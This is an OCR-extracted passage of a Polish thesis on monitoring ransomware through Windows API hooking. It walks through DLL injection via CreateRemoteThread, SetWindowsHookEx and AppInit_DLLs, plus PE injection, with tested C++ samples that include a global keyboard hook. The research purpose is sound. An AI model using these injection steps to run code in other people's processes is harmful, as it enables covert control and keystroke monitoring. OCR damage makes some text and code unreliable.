facto zmiane funkcji, ktoéra jest wywotywana. Zamiast oryginalnej wersji dostepnej
w bibliotekach DLL®> API systemu Windows, wywotania zostanie funkcja ze wskazanej przez
nas biblioteki DLL. Obie funkcje muszg by¢ oczywiscie zgodne pod wzgledem definicji. Dzieki
temu, jestesmy w stanie przechwyci¢ wywotanie interesujacych nas funkcji. Po tym
przechwyceniu mozemy napisa¢ wiasng ich obstuge albo przeprowadzi¢ analize i przekazaé

wywotanie do oryginalnej funkgji.

104 API Hook, Microsoft, https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-
setwindowshookexw, (dostep 03.2023)
105 DL, Wikipedia, https://pl.wikipedia.org/wiki/DLL, (dostep 03.2023)
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System Windows, z wykorzystaniem SetWindowsHookExA pozwala na tworzenie lokalnych
jak i globalnych API Hook’éw. Lokalny API Hook dotyczy tylko watkéw pokrewnych z watkiem,
ktory utworzyt dany APl Hook. Globalny API Hook dotyczg wszystkich wywotan danej funkcji
API (przez wszystkie procesy w systemie). Ponizszy kod prezentuje przyktad uzycia funkcji

SetWindowsHookEx.

HOOKPROC hkprcSysMsg;
static HINSTANCE hinstDLL;
static HHOOK hhookSysMsg;

hinstDLL = LoadLibrary (TEXT ("c:\\myapp\\sysmsg.dll"));
hkprcSysMsg = (HOOKPROC) GetProcAddress (hinstDLL, "SysMessageProc");

hhookSysMsg = SetWindowsHookEx (
WH_SYSMSGFILTER,
hkprcSysMsg,
hinstDLL,
0;

Kod zrédtowy 11. Przyktad tworzenia APl Hook
(Zrédto: https.//docs.microsoft.com/en-us/windows/win32/winmsg/using-hooks)

W celu utworzenia APl Hook'a pierwszej kolejnosci nalezy utworzy¢ biblioteke DLL
zawierajaca funkcje, ktéra co do definicji jest zgodna z funkcjg API, dla ktérej tworzymy API
Hook. Aplikacja tworzgca APl Hook musi te biblioteke zatadowad korzystajac np. z funkcji
LoadLibrary. Nastepnie, nalezy pobra¢ adres funkcji, ktéra bedzie ,przechwytywata”
wywotania API. Na koricu wywotujemy funkcje SetWindowsHookEx ustawiajac odpowiednio
wartosci jej argumentéw. Na powyzszym przykfadzie ostatni argument ma wartos$¢ 0. Oznacza
to, ze tworzony jest APl Hook globalny, dla catego systemu. Jezeli chcemy monitorowaé tylko
wybrany watek, wartos¢ jego identyfikatora (Threadld) musi zosta¢ podany jako wartos¢

ostatniego argumentu wywotania SetWindowsHookEx.

Celem wytgczenia  utworzonego APl  Hook’a nalezy skorzystaé  zfunkcji

UnhookWindowsHookEx.
Funkcja SetWindowsHookEx umozliwia rowniez tworzenie innego typu Hook’éw:

e WH_CALLWNDPROC - tworzy hook umozliwiajgcy monitorowanie wiadomosci
wysytanych przez system do okienek system Windows.

e WH_CALLWNDPROCRET - tworzy hook umozliwiajgcy monitorowanie wiadomosci
zwrotnych na wiadomosci wystane przez system do okienek system Windows.

e WH_CBT — tworzy hook umozliwiajgcy monitorowanie powiadomien wysyfanych do

aplikacji typu CBT (Computer-Based Training).
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e WH_DEBUG - tworzy hook umozliwiajgcy debugowanie/monitorowanie innych
hook’éw utworzonych w systemie.

e WH_FOREGROUNDIDLE - tworzy hook, ktdéry zostanie wywotany, gdy watek
przechodzi w tryb uspienia.

e WH_GETMESSAGE - tworzy hook umozliwiajgcy monitorowanie wiadomosci
wysytanych do kolejek wiadomosci.

e WH_KEYBOARD —tworzy hook umozliwiajagcy monitorowanie aktywnosci klawiatury.

e WH_KEYBOARD_LL — tworzy hook umozliwiajgcy monitorowanie niskopoziomowych
zdarzen klawiatury (np. wcisniecie przycisku).

e WH_MOUSE - tworzy hook umozliwiajgcy monitorowanie aktywnosci myszy.

e WH_MOUSE_LL — tworzy hook umozliwiajgcy monitorowanie niskopoziomowych
zdarzen myszy (np. wcisniecie przycisku).

e WH_SYSMSGFILTER, WH_MSGFILTER — tworzy hook umozliwiajagcy monitorowanie
wiadomosci tworzonych w wyniku zaistnienia zdarzen wejsciowych dla komponentow
takich jak dialog box, message box, menu, scroll bar.

e WH_SHELL —tworzy hook umozliwiajgcy monitorowanie aplikacji typu shell.

IX.3 Techniki wstrzykiwania kodu na potrzeby monitorowania API

Na potrzeby skutecznego monitorowania wywotan funkcji APl przez procesy typu
ransomware, moze okaza¢ sie koniecznie wykorzystanie dodatkowo bardziej
zaawansowanych technik - technik wstrzykiwania kodu do proceséw (process injection%)
oraz dynamicznych bibliotek DLL (DLL injection%’). Techniki te moga okazac sie szczegdlnie
skuteczne w srodowiskach pracy o ograniczonych uprawnieniach oraz w przypadku ztosliwego

oprogramowania, ktére korzysta z technik obronnych przed APl Hook’ami.

Opisane sposoby wstrzykiwania i naruszania integralnosci proceséw dzielg sie gtdwnie

na dwa typy:

e Shellcode injection — bezposrednie wstrzykniecie kodu wykonywalnego do procesu

uruchomionego w systemie Windows.

106 process injection, MITRE, https://attack.mitre.org/techniques/T1055/, (dostep 03.2023)
197 Dynamic-link Library Injection, MITRE, https://attack.mitre.org/techniques/T1055/001/, (dostep 03.2023)
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e DLL injection — wymuszenie wykorzystania przez proces uruchomiony w systemie

Windows pliku DLL z naszym kodem wykonywalnym.
Podstawowe metody typu Shellcode injection to:

e Wstrzykiwanie przez PE (Portable Executable).
e Modyfikacje metoda Process Hollowing.

e Uzycie metody Thread execution hijacking dla wstrzykniecia kodu wykonywalnego.
Podstawowe metody typu DLL injection to:

e Wstrzykiwanie DLL za pomocy funkcji APl CreateRemoteThread oraz LoadLibrary.
e Tworzenie APl Hook'ow.

e Wstrzykiwanie przez modyfikowanie wpisdw w rejestrze systemu Windows.
Podstawowe metody taczace techniki DLL injection oraz Shellcode injection:

e |AT Hooking

e Inline Hooking

IX.3.1 Wstrzykiwanie DLL za pomocg funkcji CreateRemoteThread
Wstrzykiwanie, do procesu uruchomionego w systemie Windows, witasnego kodu
w postaci biblioteki DLL z wykorzystaniem funkcji udostepnianej przez API systemu Windows
CreateRemoteThread', na chwile obecng, jest bardzo skuteczng technika typu DLL injection.
Opisywana metoda dziata w aktualnych (w momencie pisania pracy) wersjach systemu
Windows 10 przy wtgczonej standardowej ochronie przed ztosliwym oprogramowaniem, czyli

przy wtgczonym mechanizmie Windows Defender%?,

Wstrzykniecie  wtasnego kodu w postaci biblioteki DLL zapomocg funkgji
CreateRemoteThread mozliwe jest do dowolnego procesu uruchomionego w systemie

Windows, ktéry korzysta (posiada zatadowang) z biblioteki systemowej kernel32.dll.

HANDLE CreateRemoteThread (

[in] HANDLE hProcess,

[in] LPSECURITY ATTRIBUTES lpThreadAttributes,
[in] SIZE T dwStackSize,

[in] LPTHREAD START ROUTINE lpStartAddress,

[in] LPVOID lpParameter,

[in] DWORD dwCreationFlags,

108 ), Lukan, Using CreateRemoteThread for DLL injection on Windows,
https://resources.infosecinstitute.com/topics/reverse-engineering/using-createremotethread-for-dll-injection-on-

windows/
199 Windows Defender, Wikipedia, https://pl.wikipedia.org/wiki/Microsoft Defender, (dostep 03.2023)
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[out] LPDWORD lpThreadId
) i

Kod zrédtowy 12. Deklaracja funkcji CreateRemoteThread

Funkcja CreateRemoteThread umozliwia utworzenia nowego watku, ktory bedzie dziatat
w wirtualnej przestrzeni adresowej wybranego przez nas procesu. Zgodnie z opisem funkcji
CreateRemoteThread w oficjalnej dokumentacji deweloperskiej firmy Microsoft!!?, przyjmuje

ona nastepujace argumenty:

e hProcess — wskaznik do procesu, w ramach ktérego utworzony zostanie nowy watek.

e IpThreadAttributes —wskaznik na strukture typu SECURITY_ATTRIBUTES, ktdra okresla
parametry bezpieczenstwa dla tworzonego watku.

e dwsStackSize — okresla poczatkowa wielkos¢ (w bajtach) pamieci stosu przypisanej do
tworzonego watku.

e |pStartAddress — wskaznik na funkcje typu LPTHREAD_START_ROUTINE, ktérej kod
zostanie wykonany przez utworzony watek. Wskaznik ten reprezentuje adres poczatku
kodu, ktéry bedzie wykonywany przez watek.

e |pParameter — wskaznik naargumenty przekazywane do watku (do funkcji typu
LPTHREAD_START_ROUTINE).

e dwCreationFlags — flaga okreslajaca sposdb tworzenia watku (0 — uruchom watek
od razu po utworzeniu, CREATE_SUSPENDED — watek zostaje utworzony w stanie

wstrzymanym).

W wyniku poprawnego wywotania funkcja CreateRemoteThread zwraca wskaznik do

zmiennej przechowujacej identyfikator utworzonego watku.
Opisana metoda DLL injection do dziatania potrzebuje:

e Programu, ktéry wywota funkcje CreateRemoteThread.
e Biblioteki DLL, ktdra zostanie wstrzyknieta.
e Dziatajgcego w systemie Windows procesu, do ktérego wstrzyknieta zostanie

biblioteka DLL.

Ponizszy rysunek pokazuje gtéwne kroki przeprowadzanego ataku typu DLL injection.

119 CreateRemoteThread, Windows App Development, Microsoft, https://learn.microsoft.com/en-
us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread, (dostep 03.2023)
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Rysunek 25. Glowne kroki wstrzykiwania kodu biblioteki DLL z wykorzystaniem funkcji
CreateRemoteThread (zrodio: https://resources.infosecinstitute.com/topic/using-createremotethread-for-dll-
injection-on-windows/)

Gtéwne kroki metody:
e Pobranie wskaznika do procesu, do ktorego zostanie wstrzyknieta biblioteka DLL —
wywotanie funkcji API OpenProcess!!.

e Pobranie adresu funkcji LoadLibraryA?1? z biblioteki kernel32.dIl — wywotanie funkgcji

AP| GetProcAddress'!3.

1 OpenProcess, Windows App Development, Microsoft, https://learn.microsoft.com/en-
us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess, (dostgp 03.2023)
121 padLibraryA, Windows App Development, Microsoft, https://learn.microsoft.com/en-
us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya, (dostep 03.2023)

113 GetProcAddress, Windows App Development, Microsoft, https://learn.microsoft.com/en-
us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress, (dostgp 03.2023)
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e Zapisanie $ciezki do wstrzykiwanej biblioteki DLL w przestrzeni adresowej procesu, do

ktorego wstrzykujemy biblioteke — wywotanie funkcji APl VirtualAllocEx'* oraz

WriteProcessMemory13.

e Utworzenie nowego watku w ramach atakowanego procesu — wywotanie metody API

CreateRemoteThread.

Wywotanie z utworzonego watku funkcji LoadLibraryA izatadowanie do przestrzeni

adresowej atakowanego procesu kodu ze wstrzykiwanej biblioteki DLL.

#include ”stdafx.h”
#include <stdio.h>
#include <windows.h>

INT APIENTRY Dl1lMain (HMODULE hDLL, DWORD Reason, LPVOID Reserved) {
FILE *file;
fopen s(file, “C:/temp.txt”, “a+”);

switch (Reason) {
case DLL PROCESS ATTACH:
fprintf (file, “DLL attach function called.n”);
break;
case DLL PROCESS DETACH:
fprintf (file, “DLL detach function called.n”);
break;
case DLL THREAD ATTACH:
fprintf (file, “DLL thread attach function called.n”);
break;
case DLL THREAD DETACH:
fprintf (file, “DLL thread detach function called.n”);
break;

}
fclose (file);

return TRUE;

Kod zrédtowy 13. Przyktadowy kod w jezyku C++ wstrzykiwanej biblioteki DLL

(Z2rédfto: https://resources.infosecinstitute.com/topic/using-createremotethread-for-dll-injection-on-windows/)

Funkcja DIlIMain zostanie automatycznie wywotana po poprawnym zatadowaniu kodu

biblioteki DLL do przestrzeni adresowe] atakowanego procesu. Dzieki temu mozliwe jest

wykonanie wtasnego kodu w kontekscie procesu, do ktorego biblioteka DLL zostafa

wstrzyknieta.

114 Virtual AllocEx, Windows App Development, Microsoft, https://learn.microsoft.com/en-
us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex, (dostgp 03.2023)

115 WriteProcessMemory, Windows App Development, Microsoft, https://learn.microsoft.com/en-
us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory, (dostep 03.2023)
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Przeprowadzone testy opisanej powyzej metody pokazaty, ze aby mozliwe byto
wstrzykiwanie kodu biblioteki DLL do procesdw stworzonych przez innych uzytkownikéw (np.

system), nalezy dodatkowo doda¢ ustawienie flagi Debug PriviledgeZ®.

Ponizszy zrzut ekranu prezentuje wynik wstrzykniecia kodu biblioteki DLL do procesu
programu Total Commander x64. Wstrzykiwana biblioteka nazywata sie dllinject.dll.
W programie Process Explorer wida¢, ze wstrzykiwanie zakonczyto sie sukcesem — do
wybranego procesu zatadowana zostata biblioteka dllinject.dll. Dodatkowo, wstrzykniety kod

po uruchomieniu dodat wpisy do tekstowego temp.txt.

Ghisler Software GmbH

TOTALCMD64.EXE 13,448 K 52,988 K 6356 Total Commander

&'{Jprocexp64.exe <0.01 36,556 K 71,036 K 5280 Sysinternals Process Explorer Sysinternals - www.sysint...
- @ firefox.exe 196,720 K 214,804 K 896 Firefox Mozilla Corporation

@ firefox.exe 209,252 K 73,792 K 4820 Firefox Mozilla Corporation

@ firefox.exe 48,720 K 63,384 K 7304 Firefox Mozilla Corporation

@ firefox.exe 163,684 K 163,636 K 4276 Firefox Mozilla Corporation
Name - Description Company Name Path

{6AF0698E-D558-4...
{AFBFOF1A-8EE8-4...
{DDF571F2-BE98-4...
advapi32.dil
apphelp.dlil

berypt.dll
beryptprimitives.dll
cfgmgr32.dil
clbcatq.dll
coloradapterclient.dll
combase.dIl
comctl32.dll
comdig32.dll
coml2.dll
CoreMessaging.dll
CoreUIComponents...
crypt32.dll

cscapi.dll
cversions.2.db
cversions.2.db
d3d11.dll
DataExchange.dll
davcint.dll

davhipr.dil

dcomp.dIl
DevDispltemProvid...

Advanced Windows 32 Base API
Application Compatibility Client Lib...

Windows Cryptographic Primitives ...
Windows Cryptographic Primitives ...

Configuration Manager DLL
COM+ Configuration Catalog
Microsoft Color Adapter Client
Microsoft COM for Windows
User Experience Controls Library
Common Dialogs DLL

Microsoft COM for Windows
Microsoft CoreMessaging DIl
Microsoft Core Ul Components DIl
Crypto API32

Offline Files Win32 API

Direct3D 11 Runtime

Data exchange

Web DAV Client DLL

DAV Helper DLL

Microsoft DirectComposition Library
Deviceltem inproc devquery subsy...

Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation

Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation

C:\ProgramData\Microsoft\Windows\Caches\{6AFO698E-D...
C:\Users\Testerino\AppData\Local\Microsoft\Windows\Cac...
C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-B...
C:\Windows\System32\advapi32.dll
C:\Windows\System32\apphelp.dil
C:\Windows\System32\bcrypt.dll
C:\Windows\System32\bcryptprimitives.dll
C:\Windows\System32\cfgmgr32.dll
C:\Windows\System32\clbcatq.dll
C:\Windows\System32\coloradapterclient.dll
C:\Windows\System32\combase.dll
C:\Windows\WinSxS\amd64_microsoft.windows.common-c...
C:\Windows\System32\comdIg32.dll
C:\Windows\System32\coml|2.dll
C:\Windows\System32\CoreMessaging.dll
C:\Windows\System32\CoreUIComponents.dll
C:\Windows\System32\crypt32.dll
C:\Windows\System32\cscapi.dll
C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db
C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db
C:\Windows\System32\d3d11.dll
C:\Windows\System32\DataExchange.dIl
C:\Windows\System32\davcint.dll
C:\Windows\System32\davhlpr.dll
C:\Windows\System32\dcomp.dll
C:\Windows\System32\DevDispltemProvider.dIl

Mcrmahon Set DLL Microsoft Corpor: 344 \System32\devobj.dll
dInas| o ace DLL Micro: it “TTaoWs\System32\dinashext.dll
Rysunek 26. Program Process Explorer prezentujgcy informacje o zatadowanych przez proces Total

Commander x64 bibliotekach DLL. Wsrod nich wida¢ wstrzyknietq biblioteke dllinject.dll.

Wida¢ zatem, ze korzystajac z zaprezentowanej oraz przetestowanej metody

wstrzykiwania kodu biblioteki DLL, mozna z powodzeniem wstrzykiwaé¢ oraz wykonywacé

dowolny kod w ramach proceséw uruchomionych w systemie Windows.
Gtéwne zalety zaprezentowanej metody to:

e tatwos¢ implementacji.

e tatwosc wstrzykiwania kodu.

116 Debug Priviledge, Windows App Development, Microsoft, https://learn.microsoft.com/en-us/windows-
hardware/drivers/debugger/debug-privilege, (dostep 03.2023)
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e Natychmiastowe uruchomienia kodu — kod zostaje automatycznie wywotany po
poprawnym wstrzyknieciu biblioteki DLL (wywotanie funkcji DLLMain).

e Mozliwos¢ wstrzykiwania kodu do proceséw uruchomionych w trybie podwyzszonych
uprawnien — wymaga, abyprogram wstrzykujacy rowniez dziatat w trybie
podwyzszonych uprawnien.

e Korzystanie z flagi Debug Privilege umozliwia wstrzykiwanie bibliotek DLL do procesow

uruchomionych przez innych uzytkownikow.
Gtéwne wady zaprezentowanej metody to:

e Wymaga osobnego program do obstugi procesu wstrzykiwania kodu oraz dedykowanej
biblioteki DLL, ktérej kod zostanie wstrzykniety do atakowanego procesu.
e Uzywane funkcje, opisane powyzej w krokach metody, moga podlegaé dodatkowemu

monitorowaniu np. przez program antywirusowe.

IX.3.2 Wstrzykiwanie DLL za pomoca funkcji SetWindowsHookEx

Wstrzykiwanie wtasnego kodu w postaci biblioteki DLL z wykorzystaniem funkgji
udostepnianej przez API systemu Windows SetWindowsHookEx?!’, na chwile obecng, jest
kolejng bardzo skuteczng technika typu DLL injection. Opisywana metoda dziata w aktualnych
(w momencie pisania pracy) wersjach systemu Windows 10 przy wiaczonej standardowej

ochronie przed ztosliwym oprogramowaniem, czyli przy wigczonym mechanizmie Windows

Defender.

HHOOK SetWindowsHookExW (
[in] int idHook,
[in] HOOKPROC 1lpfn,

[in] HINSTANCE hmod,
[in] DWORD dwThreadId

)

Kod zrédtowy 14. Deklaracja funkcji SetWindowsHookEx

Funkcja SetWindowsHookEx umozliwia m.in. ,,przestoniecie” wywotania wybranej funkcji
z dowolnej biblioteki DLL. Mozliwe jest tworzenie APl Hook’dw lokalnych (w odniesieniu do
pojedynczego procesu), jak réwniez globalnych (dziatajagcych dla wszystkich procesow
dziatajacych w systemie). Zgodnie zopisem funkcji SetWindowsHookEx w oficjalnej

dokumentacji Microsoft, przyjmuje ona nastepujace argumenty:

17 SetWindowsHookEx, Windows App Development, Microsoft, https://learn.microsoft.com/en-
us/windows/win32/api/winuser/nf-winuser-setwindowshookexa, (dostgp 03.2023)
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e idHook —typ tworzonego hook’a.

e Ipfn —wskaznik na funkcje, ktdra zostanie wywotana po aktywacji hook’a

e hmod — wskaznik do zatadowanej wczesniej biblioteki DLL, ktora zawiera kod funkcji
okreslonej w wartosci argumentu Ipfn.

e dwThreadld — identyfikator watku, w ramach ktérego tworzymy hook. Dla hook’éw

globalnych ustawiamy 0.

W wyniku poprawnego wywotania funkcja SetWindowsHookEx zwraca wskaznik do funkcji,

ktora zostanie wywotana po aktywacji hook’a.
Opisana metoda DLL injection do dziatania potrzebuje:

e Programu, ktory wywota funkcje SetWindowsHookEx.
e Biblioteki DLL, ktora zostanie wstrzyknieta. Biblioteka powinna eksportowa¢ co
najmniej jedna funkcje.

e Dziatajacy w systemie proces, do ktérego wstrzyknieta zostanie biblioteka DLL.

Ponizszy rysunek pokazuje gtéwne kroki przeprowadzanego ataku typu DLL injection.
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Rysunek 27. Glowne kroki wstrzykiwania kodu biblioteki DLL z wykorzystaniem funkcji
SetWindowsHookEx
(zrodio: https://resources.infosecinstitute.com/topic/using-setwindowshookex-for-dll-injection-on-windows/)

Gtéwne kroki metody:

e Zatadowanie do pamieci programu wstrzykujgcego do procesu biblioteke DLL —
wywotanie funkcji APl LoadLibraryA.

e Pobranie adresu funkcji ze wstrzykiwanej biblioteki DLL — wywotanie funkcji API
GetProcAddress.

e Wywotanie funkcji SetWindowsHookEx iutworzenie APl Hook’a globalnego,

wskazujgcego na funkcje ze wstrzykiwanej biblioteki DLL.

#include ”stdafx.h”
#include <stdio.h>
#include <windows.h>

INT APIENTRY Dl1lMain (HMODULE hDLL, DWORD Reason, LPVOID Reserved) {
FILE *file;
fopen s(file, “C:/temp.txt”, “at+”);

switch (Reason) {
case DLL PROCESS ATTACH:
fprintf (file, “DLL attach function called.n”);
break;
case DLL PROCESS DETACH:
fprintf (file, “DLL detach function called.n”);
break;
case DLL THREAD ATTACH:
fprintf (file, “DLL thread attach function called.n”);
break;
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case DLL THREAD DETACH:
fprintf (file, “DLL thread detach function called.n”);
break;

}

fclose (file);

return TRUE;

extern “C” _ declspec(dllexport) int meconnect (int code, WPARAM wParam, LPARAM lParam) {
FILE *file;
fopen s (&file, “C:function.txt”, “a+”);

fprintf (file, “Function keyboard hook called.n”);
fclose (file);

return (CallNextHookEx (NULL, code, wParam, lParam));

Kod zrédtowy 15. Przyktadowy kod w jezyku C++ wstrzykiwanej biblioteki DLL (Zrédto:
https.//resources.infosecinstitute.com/topic/using-createremotethread-for-dll-injection-on-windows/)

Funkcja DIlIMain zostanie automatycznie wywotana po poprawnym zatadowaniu kodu
biblioteki DLL do przestrzeni adresowej atakowanego procesu. Dzieki temu mozliwe jest
wykonanie wtasnego kodu w kontekscie procesu, do ktorego biblioteka DLL zostafa
wstrzyknieta. Wstrzyknieta funkcja meconnect wykorzystana zostanie w wywotaniu funkcji

SetWindowsHookEx oraz wywotywana zostanie w momencie aktywacji utworzonego hook’a.

Przeprowadzone testy opisanej powyzej metody pokazaty, ze aby mozliwe byto
wstrzykiwanie kodu biblioteki DLL do procesdw stworzonych przez innych uzytkownikéw (np.

system), nalezy dodatkowo doda¢ ustawienie flagi Debug Priviledge?é.

Ponizszy zrzut ekranu prezentuje wynik wstrzykniecia kodu biblioteki DLL do procesu Total
Commander x64. Wstrzykiwana biblioteka nazywata sie dllinject.dll. W programie Process
Explorer widaé, ze wstrzykiwanie byto pomysine — do wybranego procesu zatadowana zostata
biblioteka dllinject.dll. Dodatkowo, odpowiednie wpisy zostaty dodane do pliku temp.txt.
Utworzony hook byt wywotywany przy kazdym kliknieciu klawiatury — wyniki dziatania widaé

w plikach z logami.

8 Debug Priviledge, Windows App Development, Microsoft, https://learn.microsoft.com/en-us/windows-
hardware/drivers/debugger/debug-privilege, (dostep 03.2023)

211




PS D:\visual-studio-projects\setwindowshookex\x64\Debug> .\setwindowshookex.exe EEREEELETHEH 27.212K 26368 K 2308 VexprojReader.exe Microsolt Corporation
Program successfully hooked. ) Bl conhost.exe 6312K 10512K 5664 Console Window Host Micrasoft Corporation
Press enter to unhook the function and stop the program. = W VoxprojReader.exe 26636 K 53508K 3344 VoxprojReader.exe Micrasoft Corparation
il conhost.exe. 6312K 10508K 3540 Console Window Host Microsoft Corporation
- W VexprojReader.exe 48,024 K 52268K  4488VexprojReader.exs Microsoft Corporaton
i conhost exs 6320K 10516K 6456 Console Window Host Micrasoft Corporation
B vopkgsrv.exa <001 14,984 K 24464K  BB8OMicrosoft (R) Visual C++ Pa... Micrasoft Corparation
W vopkgsrv.exe <001 36,936 K 22,800K 3024 Microsoft (R) Visual C++ Pa... Microsoft Corporation
& vopkgstv.oxe <0.01 61220K 66.608K 3208 Microsoft (R) Visual C++ Pa... Microsoft Corporation
function.txt - Notepad - | MSBuild.exe 45072K 56722K 3268 MSBuild.exe Microsot Corporation
il conhost.exe 6,320K 10,656 K 7088 Console Window Host Micrasoft Corparation
File Edit Format View Help SBuild.axe 24550 K 55,728K 3728 MSBuild.exe Micrasoft Corparation
[Function keyboard_hook called. onhost.oxe 6.324K 10,656 K 1256 Consolo Window Host Microsoft Corporation
Function keyboard_hook called. pkgsrv.exe <0.01 35,088 K 41032K 4400 Microsoll (R) Visual C++ Pa... Microsolt Corporation
Function keyboard_hook called. [ TOTALCMD64.EXE 14,056 K 52,752K 5460 Total Commander Ghisler Software GmbH
Function keyboard_hook called. 2 procexp6d.exe 038 34,000 K 66,552 K 4600 Sysintemals Process Explorer Sysinternals - www.sysint...
Function keyboard_hook called. - EYpowershell.cxe 69,800 K 84,676 K 7416Windows Powershell Microsoft Corporation
Function keyboard_hook called. Name Deecription Company Name
le Edi Hel Function keyboard_hook called. {BAFOB9BE-D558-4.... i -D..
e MR View help i AFBFSF1A-BLL84... Datail &
Function keyboard_hook called. i
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Rysunek 28. Pliki z logami oraz program Process Explorer prezentujqcy informacje o zatadowanych przez
proces Total Commander x64 bibliotekach DLL. Wsrod nich widac wstrzyknietq biblioteke dllinject.dll.

Widzimy zatem, Zze korzystajagc zzaprezentowanej oraz przetestowanej metody
wstrzykiwania kodu biblioteki DLL, mozna z powodzeniem wstrzykiwaé¢ oraz wykonywacé

dowolny kod w ramach procesédw uruchomionych w systemie Windows.
Gtéwne zalety zaprezentowanej metody to:

e tatwosc¢ implementacji oraz wstrzykiwania kodu.

e Mozliwe natychmiastowe uruchomienia kodu — kod zostaje uruchomiony od razu po
poprawnym wstrzyknieciu biblioteki DLL.

e Mozliwe uruchomienie kodu z opdznieniem — dopiero po aktywacji ustawionego
hook’a.

e Mozliwos¢ wstrzykiwania kodu do wskazanych procesdéw oraz globalnie — do

wszystkich procesdw uruchomionych w systemie.
Gtéwne wady zaprezentowanej metody to:

e Wymaga osobnego program do obstugi procesu wstrzykiwania kodu oraz dedykowanej
biblioteki DLL, ktorej kod zostanie wstrzykniety do atakowanego procesu.
e Uzywane funkcje, opisane powyzej w krokach metody, mogg podlega¢ dodatkowemu

monitorowaniu np. przez program antywirusowe.
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IX.3.3 Wstrzykiwanie DLL z wykorzystaniem Applnit_DLLs

Metoda wstrzykiwania bibliotek DLL z wykorzystaniem Applnit_DLLs'° korzysta ze
standardowych mechanizméw systemu Windows. W zwigzku z tym dziata w najnowszych
wersjach (na moment pisania opracowania) systemu Windows 10 przy wigczonej
standardowej ochronie przed ztosliwym oprogramowaniem, czyli przy witaczonym

mechanizmie Windows Defender.

Metoda ta wykorzystuje wpisy konfiguracyjne Applnit_DLLs oraz LoadApplnit_DLLs
zlokalizowane w rejestrze systemu Windows pod sciezka
HKEY_LOCAL_MACHINE\Software\Microsoft'Windows\NTCurrentVersion\Windows. Klucz
Applnit_DLLs zawiera liste bibliotek DLL, ktére zostang zatadowane do przestrzeni adresowej
procesu uruchamianego w systemie Windows. Biblioteki te fadowane sg z wykorzystaniem
opisanej wczesniej funkcji LoadLibraryA w ramach kodu funkcji DIIMain, ktéry zostanie
wykonany po zatadowaniu do procesu biblioteki systemowej user32.dll. W zwigzku z tym
metoda ta jest skuteczna tylko w odniesieniu do procesdow, ktére korzystajg z biblioteki
user32.dll. Jezeli proces nie korzysta ani nie faduje tej biblioteki, biblioteki okreslone w kluczu
Applnit_DLLs nie zostang zatadowane do przestrzeni adresowe] procesu. Dla powodzenia
opisywanej metody wstrzykiwania kodu niezwykle istotna jest réwniez wartos$é¢ klucza
LoadApplnit_DLLs. Jest to flaga okreslajgca, czy biblioteki okreslone jak wartos¢ klucza
Applnit_DLLs zostang automatycznie zatadowane podczas wywofania funkcji DIlIMain
biblioteki user32.dll. Jezeli ustawiona jest wartos¢ 1 to biblioteki zostang zatadowane. Jezeli

ustawiona jest warto$¢ 0 to biblioteki nie zostang zatadowane.

Ponizszy zrzut ekranu prezentuje wynik wstrzykniecia kodu biblioteki DLL do procesu Total
Commander x64. Wstrzykiwana biblioteka nazywata sie dllinject.dll. W programie Process
Explorer widac, ze wstrzykniecie byto pomysine — do wybranego procesu zatadowana zostata

biblioteka dllinject.dll.

119 ApplInit DLLs and Secure Boot, Windows App Development, Microsoft, https://learn.microsoft.com/en-
us/windows/win32/dlls/secure-boot-and-appinit-dlls, (dostep 03.2023)
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Rysunek 29.

> oLL

attach function called.

DLL thread attach function called.
DLL thread attach function called.
DLL thread attach function called.
DLL thread attach function called.
DLL thread attach function called.
DLL thread attach function called.
DLL thread attach function called.
DLL thread attach function called.
DLL thread attach function called.
DLL thread detach function called.
DLL thread attach function called.
DLL thread detach function called.
DLL thread attach function called.
DLL thread detach function called.
thread attach function called.

Zawartos¢ rejestru oraz Process Explorer prezentujgcy informacje o zatadowanych przez

proces Total Commander x64 bibliotekach DLL. Wsrod nich widac wstrzyknietq biblioteke dllinject.dll.

Gtéwne zalety zaprezentowanej metody to:

7 7

tatwosc

implementacji — wystarczy ustawi¢ odpowiednie wpisy w rejestrze.

Dziata automatycznie dla nowych proceséw uruchamianych w systemie Windows.

Natychmiastowe uruchomienia kodu — kod z funkcji DIIMain zostaje uruchomiony

od razu po poprawnym wstrzyknieciu biblioteki DLL.

Gtéwne wady zaprezentowanej metody to:

IX.3.4 Portable Executable Injection

Skuteczna tylko dla proceséw, ktore korzystajg z biblioteki user32.dll.

Uzywane klucze rejestru Windows mogg podlega¢ dodatkowemu monitorowaniu oraz

analizie np. przez programy antywirusowe.

Wstrzykiwanie wtasnego kodu metodg Portable Execution Injection, na chwile obecng, jest

skuteczng techniky zrodziny process injection. Opisywana metoda dziata w aktualnych

(w momencie pisania pracy) wersjach systemu Windows 10 przy wtaczonej standardowej

ochronie przed ztosliwym oprogramowaniem, czyli przy wigczonym mechanizmie Windows

Defender.
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Gtéwne kroki metody:

e Pobranie wartosci sizeOflmage z danych informacyjnych procesu??’, ktéry bedziemy
wstrzykiwac.

e Przydziat sizeOfImage bajtéw w pamieci procesu, ktory bedziemy wstrzykiwac.

e Skopiowanie kodu procesu do utworzonego bufora pamieci.

e Przydziat sizeOflmage bajtow w pamieci procesu, do ktérego bedziemy wstrzykiwaé
kod.

e Obliczenie rdéznicy pomiedzy adresami utworzonych buforéw pamieci.

e Relokacja nagtéwka PE z pierwszego bufora do drugiego bufora (procesu, do ktérego
kod wstrzykujemy).

e Wywotanie funkcji WriteProcessMemory*?! i zapisanie danych w pamieci procesu, do
ktorego wstrzykujemy kod.

e Utworzenie nowego watku w procesie, do ktérego wstrzykujemy kod — wywotanie

funkcji CreateRemoteThread ze wskazaniem na funkcje ze skopiowanego kodu.

IX.4 Modyfikacja wpiséw w tabeli adresow importowanych funkcji IAT
